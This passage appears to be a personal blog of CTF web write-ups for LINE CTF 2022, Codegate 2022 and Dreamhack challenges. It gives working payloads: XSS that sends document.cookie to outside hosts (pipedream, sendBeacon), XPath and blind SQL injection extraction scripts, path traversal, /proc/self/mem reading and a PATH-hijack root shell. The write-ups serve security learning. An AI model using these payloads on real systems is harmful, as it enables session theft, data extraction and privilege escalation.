다행히도 csp에서 report-uri라는 것을 지원해준다. 대충 csp violation이 발생하면 지정된 url로 그것에 대한 정보를 보내는 건데 이때 post로 날라간다.

이를 이용하면 플래그를 얻을 수 있다.

http://host1.dreamhack.games:17712/prob.php?content=%3Cscript%3E{{flag}}%3C/script%3E&extreme=Content-Security-Policy:%20script-src%20%27nonce-1%27;%20report-uri:%20http://host1.dreamhack.games:17712/receiver.php?uid=a

S: sleepingshark

네트워크 패킷을 분석하는 문제다.

대충 패킷에 있는 http request를 읽어보면 time based blind sql injection 페이로드들이 들어있는데 flag라는 문자열이 있는 것을 통해 데이터베이스에서 추출하고 있는 데이터가 flag라는 것을 추측할 수 있다.

SELECT IF(ASCII(SUBSTRING((SELECT flag FROM s3cr3t LIMIT 1),35,1))=156, SLEEP(3), 0)

만약 플래그를 뽑는데 성공했으면 3초의 sleep이 걸릴 것이고 실패했다면 지연이 걸리지 않을 것이기 때문에 응답시간을 기준으로 플래그를 뽑으면 될 것이다.

위의 사진과 같이 시간 순으로 패킷을 정렬했을 때 3초 이상 지연이 걸린 패킷들을 발견할 수 있었다.

이후 해당 패킷들을 분석하여 플래그 조각을 뽑은 다음 잘 정렬해주면 플래그를 얻을 수 있다.

LINE CTF 2022 web writeup

as3617 — Sun, 27 Mar 2022 22:44:40 +0900

GOTM

func root_handler(w http.ResponseWriter, r *http.Request) {
    token := r.Header.Get("X-Token")
    if token != "" {
        id, _ := jwt_decode(token)
        acc := get_account(id)
        tpl, err := template.New("").Parse("Logged in as " + acc.id)
        if err != nil {
        }
        tpl.Execute(w, &acc)
    } else {

        return
    }
}

template injection is possible using id when print a login user

func flag_handler(w http.ResponseWriter, r *http.Request) {
    token := r.Header.Get("X-Token")
    if token != "" {
        id, is_admin := jwt_decode(token)
        if is_admin == true {
            p := Resp{true, "Hi " + id + ", flag is " + flag}
            res, err := json.Marshal(p)
            if err != nil {
            }
            w.Write(res)
            return
        } else {
            w.WriteHeader(http.StatusForbidden)
            return
        }
    }
}

In order to get the flag, attacker need to login as admin.

already leaked secret key using ssti, so we can get the flag by forging token and login

FLAG : LINECTF{country_roads_takes_me_home}

Memo Drive

def view(request):
    context = {}

    try:
        context['request'] = request
        clientId = getClientID(request.client.host)

        if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
            raise

        filename = request.query_params[clientId]
        path = './memo/' + "".join(request.query_params.keys()) + '/' + filename

        f = open(path, 'r')
        contents = f.readlines()
        f.close()

        context['filename'] = filename
        context['contents'] = contents

    except:
        pass

    return templates.TemplateResponse('/view/view.html', context)

look at the part where the path is generated to read the file, there are some strange parts.

path = './memo/' + "".join(request.query_params.keys()) + '/' + filename

sending any parameter by bypass filter, we can control the path to read the flag

https://github.com/encode/starlette/issues/1325

according to this issue, the semicolon included in url is recognized as & and parsed

we can use this to bypass the filter and read the flag

http://34.146.195.115/view?e3798c5697b2a909c4af2f665982188c=flag;/%2e%2e/

FLAG : LINECTF{The_old_bug_on_urllib_parse_qsl_fixed}

online-library

app.get("/:t/:s/:e", function (req, res) {
    var s = Number(req.params.s);
    var e = Number(req.params.e);
    var t = req.params.t;
    if ((/[\x00-\x1f]|\x7f|\<|\>/).test(t)) {
        res.end("Invalid character in book title.");
    }
    else {
        Fs.stat("public/".concat(t), function (err, stats) {
            if (err) {
                res.end("No such a book in bookself.");
            }
            else {
                if (s !== NaN && e !== NaN && s < e) {
                    if ((e - s) > (1024 * 256)) {
                        res.end("Too large to read.");
                    }
                    else {
                        Fs.open("public/".concat(t), "r", function (err, fd) {
                            if (err || typeof fd !== "number") {
                                res.end("Invalid argument.");
                            }
                            else {
                                var buf = Buffer.alloc(e - s);
                                Fs.read(fd, buf, 0, (e - s), s, function (err, bytesRead, buf) {
                                    res.end("<h1>".concat(t, "</h1><hr/>") + buf.toString("utf-8"));
                                });
                            }
                        });
                    }
                }
                else {
                    res.end("There isn't size of book.");
                }
            }
        });
    }
});

we can read /proc/self/environ content if send a request like/..%2f..%2fproc%2fself%2fenviron/0/1024

For to get xss, we need to upload payload to the server, so i checked the process memory of node and found my request data.

Now that we know that our request data is in memory, we can get the flag by sending a request with payload to the server and reporting the url to the bot.

import requests
i= 1
offset = 262144
while(True):
    url = f"http://35.243.100.112/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fself%2fmem/{offset * (i-1)}/{offset *i}"
    res = requests.get(url)
    i=i+1
    if b"as3617hihi" in res.content:
        print(url)

while true;do curl 'http://35.243.100.112/insert' -d "title=asdf&content=as3617hihi<script>window.location='https://enllwt2ugqrt.x.pipedream.net/'+document.cookie</script>" > /dev/null; done;

FLAG : LINECTF{705db4df0537ed5e7f8b6a2044c4b5839f4ebfa4}

Haribote Secure Note

<meta content="default-src 'self'; style-src 'unsafe-inline'; object-src 'none'; base-uri 'none'; script-src 'nonce-btRbWy6Oy1ZK7+ElUPbxW6JhEd0='
    'unsafe-inline'; require-trusted-types-for 'script'; trusted-types default"
          http-equiv="Content-Security-Policy">

Since csp is applied and new nonce is issued for each request, we need to use the tag that already has nonce applied.

{% if current_user.is_admin %}
        <section id="sharedUserInfo">
            <button id="printInfoBtn" type="button" class="btn btn-sm btn-outline-secondary btn-block">  Check shared
                user information
            </button>
        </section>
        <script nonce="{{ csp_nonce }}">
            const printInfo = () => {
                const sharedUserId = "{{ shared_user_id }}";
                const sharedUserName = "{{ shared_user_name }}";

                const div = document.createElement('div');
                div.classList.add('alert')
                div.classList.add('alert-warning')
                div.innerHTML = [
                    `[debug:${new Date().toISOString()}]`,
                    `UserId="${sharedUserId}"`,
                    `DisplayName="${sharedUserName}"`
                ].join(' ');
                const sharedUserInfo = document.getElementById('sharedUserInfo');
                sharedUserInfo.replaceChildren(div);
            }

            const printInfoBtn = document.getElementById('printInfoBtn');
            printInfoBtn.addEventListener('click', printInfo);
        </script>
    {% endif %}

we can inject 16 bytes of shared_user_name in the admin page.

    <script nonce="{{ csp_nonce }}">
        const render = notes => {
            const noteArea = document.getElementById("notes");

            notes.sort((a, b) => Date.parse(a.createdAt) - Date.parse(b.createdAt));
            for (const note of notes) {
                const noteDiv = document.createElement("div");
                noteDiv.classList.add("p-2")
                noteDiv.classList.add("bg-light")
                noteDiv.classList.add("border")

                const title = document.createElement("h2");
                title.innerHTML = note.title;
                noteDiv.appendChild(title);

                const content = document.createElement("p");
                content.innerHTML = note.content;
                noteDiv.appendChild(content);

                const createdAt = document.createElement("time");
                createdAt.innerHTML = `Created at: ${note.createdAt}`;
                noteDiv.appendChild(createdAt)

                noteArea.appendChild(noteDiv);
            }
        };
        render({{ notes }})
    </script>

second, data in notes is not escape, so we can use it to inject data into the script tag.

After that, I found an interesting post.

https://www.hahwul.com/2019/07/08/xss-payload-for-escaping-string-in/

I can get the flag using the following payload.

Displayname: <!--<script/"/*
Content: <img src="*/};location.href=`//server/`+document.cookie;//</script>">

FLAG : LINECTF{0n1y_u51ng_m0d3rn_d3fen5e_m3ch4n15m5_i5_n0t_3n0ugh_t0_0bt41n_c0mp13te_s3cur17y}

Codegate 2022 Preliminary writeup

as3617 — Sun, 27 Feb 2022 19:59:04 +0900

CAFE

XSS 문제다. 하지만

bot 코드에 지워지지 않은 admin의 패스워드로 인해 로그인하고 나면 손쉽게 플래그를 획득할 수 있다. 인텐 풀이는 다음과 같다.

function filterHtml($content) {
    $result = '';

    $html = new simple_html_dom();
    $html->load($content);
    $allowTag = ['a', 'img', 'p', 'span', 'br', 'hr', 'b', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'strong', 'em', 'code', 'iframe'];

    foreach($allowTag as $tag){
      foreach($html->find($tag) as $element) {
        switch ($tag) {
          case 'a':
            $result .= '<a href="' . str_replace('"', '', $element->href) . '">' . htmlspecialchars($element->innertext) . '</a>';
            break;
          case 'img':
            $result .= '<img src="' . str_replace('"', '', $element->src) . '">' . '</img>';
            break;
          case 'p':
          case 'span':
          case 'b':
          case 'h1':
          case 'h2':
          case 'h3':
          case 'h4':
          case 'h5':
          case 'h6':
          case 'strong':
          case 'em':
          case 'code':
            $result .= '<' . $tag . '>' . htmlspecialchars($element->innertext) . '</' . $tag . '>';
            break;
          case 'iframe':
            $src = $element->src;
            $host = parse_url($src)['host'];
            if (strpos($host, 'youtube.com') !== false){
              $result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
            }
            break;
        }
      }
    }
    return $result;
  }

/libs/utils.php의 filterHtml 코드를 보면 사용가능한 태그들이 한정되어있다. a tag, img 태그 등 여러 태그가 사용 가능한데 double quote를 지우기 때문에 임의의 attribute를 탈출하는 것은 힘들다. 그럼 이제 사용가능한 것은 iframe인데 iframe의 src 속성에 들어가는 url은 php의 parse_url함수를 이용하여 host부분만 검사하는 것을 알 수 있다. scheme 쪽은 검사하지 않기 때문에 javascript scheme을 사용하는 것이 가능한데 이때 간단한 트릭을 사용하면 임의의 함수를 실행하는 것이 가능하다.

보면 절대 실행이 안될 것 같은 페이로드 임에도 script가 정상적으로 실행이 된다.

javascript: scheme뒤에 오는 //는 한 줄 주석이기 때문에 뒤에 오는 aaaa.com#까지를 주석처리하고 그 뒤의 개행으로 인해 console.log(1)은 주석처리가 되지 않아서 정상적으로 실행이 된 것을 볼 수 있다. 이를 이용하면 iframe src에 우리가 원하는 url을 넣고 script를 실행하여 admin의 세션을 탈취하는 것이 가능하다.

Payload : <iframe src="javascript://youtube.com#%0anavigator.sendBeacon('myserver',document.cookie)"></iframe>

FLAG : codegate2022{4074a143396395e7196bbfd60da0d3a7739139b66543871611c4d5eb397884a9}

Superbee

이것도 언인텐으로 인해 풀이수가 굉장히 많다.
admin의 패스워드가 password라서 로그인하면 그냥 플래그를 얻을 수 있다.
인텐 풀이는 아래와 같다.

func (this *BaseController) Prepare() {
    controllerName, _ := this.GetControllerAndAction()
    session := this.Ctx.GetCookie(Md5("sess"))

    if controllerName == "MainController" {
        if session == "" || session != Md5(admin_id + auth_key) {
            this.Redirect("/login/login", 403)
            return
        }
    } else if controllerName == "LoginController" {
        if session != "" {
            this.Ctx.SetCookie(Md5("sess"), "")
        }
    } else if controllerName == "AdminController" {
        domain := this.Ctx.Input.Domain()

        if domain != "localhost" {
            this.Abort("Not Local")
            return
        }
    }
}

main.go를 보면 각 controller로 routing해주기 전에 여러 체크 로직이 존재하는 것을 알 수 있다.

func (this *MainController) Index() {
    this.TplName = "index.html"
    this.Data["app_name"] = app_name
    this.Data["flag"] = flag
    this.Render()
}

flag를 얻으려면 MainController에 접근해야하는데 admin의 password를 모르고 있는 상황이기 때문에 접근이 불가능하다.

func (this *LoginController) Auth() {
    id := this.GetString("id")
    password := this.GetString("password")

    if id == admin_id && password == admin_pw {
        this.Ctx.SetCookie(Md5("sess"), Md5(admin_id + auth_key), 300)

        this.Ctx.WriteString("<script>alert('Login Success');location.href='/main/index';</script>")
        return
    }
    this.Ctx.WriteString("<script>alert('Login Fail');location.href='/login/login';</script>")
}

Auth 쪽을 보면 로그인이 성공했을 때 세션 값을 adminid + auth_key를 md5한 값으로 설정하는 것을 알 수 있다.
admin의 id는 admin이기 때문에 auth_key만 구하면 되는데

func (this *AdminController) AuthKey() {
    encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
    this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}

AuthKey함수에서 auth_key를 aes로 암호화한 값을 리턴해주는 것을 알 수 있다.
그런데 잘 보면 auth_crypt_key 값은 app.conf에 설정이 안되있기 때문에 null이라는 것을 알 수 있다.
그럼 만약 해시를 구한다면 간단하게 decrypt할 수 있다.

} else if controllerName == "AdminController" {
        domain := this.Ctx.Input.Domain()

        if domain != "localhost" {
            this.Abort("Not Local")
            return
        }
    }

그럼 이제 해당 부분에 접근하려면 위의 조건 문을 통과해야하는데 이는 간단하게 Host 부분을 localhost로 수정해서 리퀘스트를 보내는 것으로 해결할 수 있다. 그럼 이제 encrypt된 hash를 얻을 수 있고 decrypt하여 auth_key를 구한 다음 session을 만들어서 MainController에 접근하면 플래그를 얻을 수 있다.

FLAG : codegate2022{d9adbe86f4ecc93944e77183e1dc6342}

babyFirst

jsp로 만들어진 문제다.

취약점은 아래의 코드에서 발생한다.

private static String lookupImg(String memo) {
    Pattern pattern = Pattern.compile("(\\[[^\\]]+\\])");
    Matcher matcher = pattern.matcher(memo);
    String img = "";
    if (matcher.find()) {
      img = matcher.group();
    } else {
      return "";
    } 
    String tmp = img.substring(1, img.length() - 1);
    tmp = tmp.trim().toLowerCase();
    pattern = Pattern.compile("^[a-z]+:");
    matcher = pattern.matcher(tmp);
    if (!matcher.find() || matcher.group().startsWith("file"))
      return ""; 
    String urlContent = "";
    try {
      URL url = new URL(tmp);
      BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
      String inputLine = "";
      while ((inputLine = in.readLine()) != null)
        urlContent = urlContent + inputLine + "\n"; 
      in.close();
    } catch (Exception e) {
      return "";
    } 
    Base64.Encoder encoder = Base64.getEncoder();
    try {
      String encodedString = new String(encoder.encode(urlContent.getBytes("utf-8")));
      memo = memo.replace(img, "<img src='data:image/jpeg;charset=utf-8;base64," + encodedString + "'><br/>");
      return memo;
    } catch (Exception e) {
      return "";
    } 
  }

lookupImg함수에서 임의의 url로 요청을 보낼 수 있는데 해당 부분을 이용하면 내부 파일에 접근하여 flag를 읽어올 수 있다.
일단 URL함수에서 사용 가능한 protocol에는 아래의 것이 있다.

http
htts
ftp
file
jar

일단 file scheme이 사용가능한데 if (!matcher.find() || matcher.group().startsWith("file")) 와 같이 file scheme으로 시작하는 경우 lookup을 안한다. 일단 file scheme을 사용하는 것은 맞는 것 같아서 이를 중점으로 java의 url.openstream코드를 살펴보았다.
그리고 재미있는 부분을 찾을 수 있었다.

https://github.com/frohoff/jdk8u-jdk/blob/master/src/share/classes/java/net/URL.java#L533

url:로 시작하면 시작 글자를 4글자 뒤로 옮긴다. 그럼 위의 필터를 우회해서 플래그를 읽을 수 있을 것이다.

Payload : [url:file:///flag]

FLAG : codegate2022{8953bf834fdde34ae51937975c78a895863de1e1}

myblog

이 문제도 jsp로 만들어졌다.
취약점은 doReadArticle에서 터진다.

private String[] doReadArticle(HttpServletRequest req) {
    String id = (String)req.getSession().getAttribute("id");
    String idx = req.getParameter("idx");
    if ("null".equals(id) || idx == null)
      return null; 
    File userArticle = new File(this.tmpDir + "/article/", id + ".xml");
    try {
      InputSource is = new InputSource(new FileInputStream(userArticle));
      Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(is);
      XPath xpath = XPathFactory.newInstance().newXPath();
      String title = (String)xpath.evaluate("//article[@idx='" + idx + "']/title/text()", document, XPathConstants.STRING);
      String content = (String)xpath.evaluate("//article[@idx='" + idx + "']/content/text()", document, XPathConstants.STRING);
      title = decBase64(title.trim());
      content = decBase64(content.trim());
      return new String[] { title, content };
    } catch (Exception e) {
      System.out.println(e.getMessage());
      return null;
    } 
  }

대놓고 xpath injection이 터진다. 근데 플래그는 전혀 다른 곳에 있다.

FROM ubuntu:20.04

RUN apt-get -y update && apt-get -y install software-properties-common

RUN apt-get install -y openjdk-11-jdk

RUN apt-get -y install wget
RUN mkdir /usr/local/tomcat
RUN wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.75/bin/apache-tomcat-8.5.75.tar.gz -O /tmp/tomcat.tar.gz
RUN cd /tmp && tar xvfz tomcat.tar.gz
RUN cp -Rv /tmp/apache-tomcat-8.5.75/* /usr/local/tomcat/
RUN rm -rf /tmp/* && rm -rf /usr/local/tomcat/webapps/

COPY src/ROOT/ /usr/local/tomcat/webapps/ROOT/

COPY start.sh /start.sh
RUN chmod +x /start.sh

RUN echo 'flag=codegate2022{md5(flag)}' >> /usr/local/tomcat/conf/catalina.properties

CMD ["/start.sh"]

flag는 catalina.properties에 들어가있다. 코드에는 flag 내용을 글로 작성해준다거나 그러한 것이 없기 때문에 뭔가 트릭이 필요했고 jdk의 소스코드를 읽어보았다.

https://github.com/JetBrains/jdk8u_jaxp/tree/master/src/com/sun/org/apache/xpath/internal

Function을 위주로 확인해보았는데 https://github.com/JetBrains/jdk8u_jaxp/blob/master/src/com/sun/org/apache/xpath/internal/functions/FuncSystemProperty.java
FuncSystemProperty라는 흥미로운 파일을 찾을 수 있었다.
그리고 이름에서 알 수 있듯이 https://runebook.dev/ko/docs/xslt_xpath/xpath/functions/system-property 역시나 system 속성을 리턴해주는 함수였다.
그럼 이제 xpath injection을 할 때 system property를 불러오는 것이 가능하기 때문에 sql injection 하듯이 페이로드 짜서 플래그 뽑아주면 된다.

import requests
import string

pw=""
a=string.printable
a=a[:-38] + "{}"
url = "http://3.39.79.180/blog/read?idx="
cookies = {'JSESSIONID':'0736D763FF412E3286ED4ACB78613F95'}
for i in range(1,60):
    url = "http://3.39.79.180/blog/read?idx="
    for j in a:
        print(pw + j)
        url="http://3.39.79.180/blog/read?idx=' or substring(system-property('flag'),"+str(i)+',1)="'+str(j)+'" or \''
        res=requests.get(url,cookies=cookies)
        res = res.text
        if "asdf" in res:
            pw+=j
            break
        else: pass
print(pw)

FLAG : codegate2022{bcbbc8d6c8f7ea1924ee108f38cc000f}

vimt

vim을 직접 구현한 것 같은 프로그램을 주는데 키보드를 누를 때마다 이상한 문자들이 적힌다. 코드를 분석해보면 compile명령을 이용하여 우리가 작성한 파일을 gcc로 컴파일 할 수 있는데 아마도 우리가 원하는 대로 글자를 쓰도록 프로그래밍해야하는 것 같았다. 근데 그러기엔 분석이 너무 복잡해서 다른 방법을 이용하였다.

간단하다. 쉘을 실행하는 코드가 담긴 파일을 컴파일 한 뒤 env에 PATH를 조작하여 문제 파일에서 compile 명령을 실행했을 때 우리가 컴파일한 파일이 실행되도록 하는 것이다.

#include <unistd.h>

int main()
{
    setuid(0);
    execl("/bin/bash", "bash", (char *)NULL);
    return 0;
}

이 코드를 /tmp 폴더에 생성하고 gcc로 컴파일 한 다음에 env의 PATH를 /tmp로 설정해주면 될 것이다. 근데 이후에 문제가 한차례 수정되면서 /tmp폴더에 권한이 빠졌다. 그래도 /var/tmp에는 여전히 권한이 남아있기 때문에 /var/tmp에서 해주면 된다.

)

시나리오 대로 쉘을 획득하였고 플래그를 읽을 수 있었다.

Payload :
ctf@52bad4c6c59c:~$ echo "#include <unistd.h>" > /var/tmp/a.c
ctf@52bad4c6c59c:~$ echo 'int main() { setuid(0); execl("/bin/bash", "bash", (char *)NULL); return 0; }' >> /var/tmp/a.c
ctf@52bad4c6c59c:~$ gcc /var/tmp/a.c -o /var/tmp/gcc
ctf@52bad4c6c59c:~$ export PATH=/var/tmp
ctf@52bad4c6c59c:~$ ./app

- >

ESC + compile + enter

- > 

/bin/cat flag

FLAG : codegate2022{e63d0f9d86ddabe726db226be96548890e0d9408376a3e43011e1a12e1315168111e5535733c1155ec5b4e78b711aeef44621c8e}

hayyim CTF 2022 web writeup

as3617 — Sun, 13 Feb 2022 21:04:20 +0900

https://gist.github.com/as3617/256b92b451a863732e6c8992cbeda0a9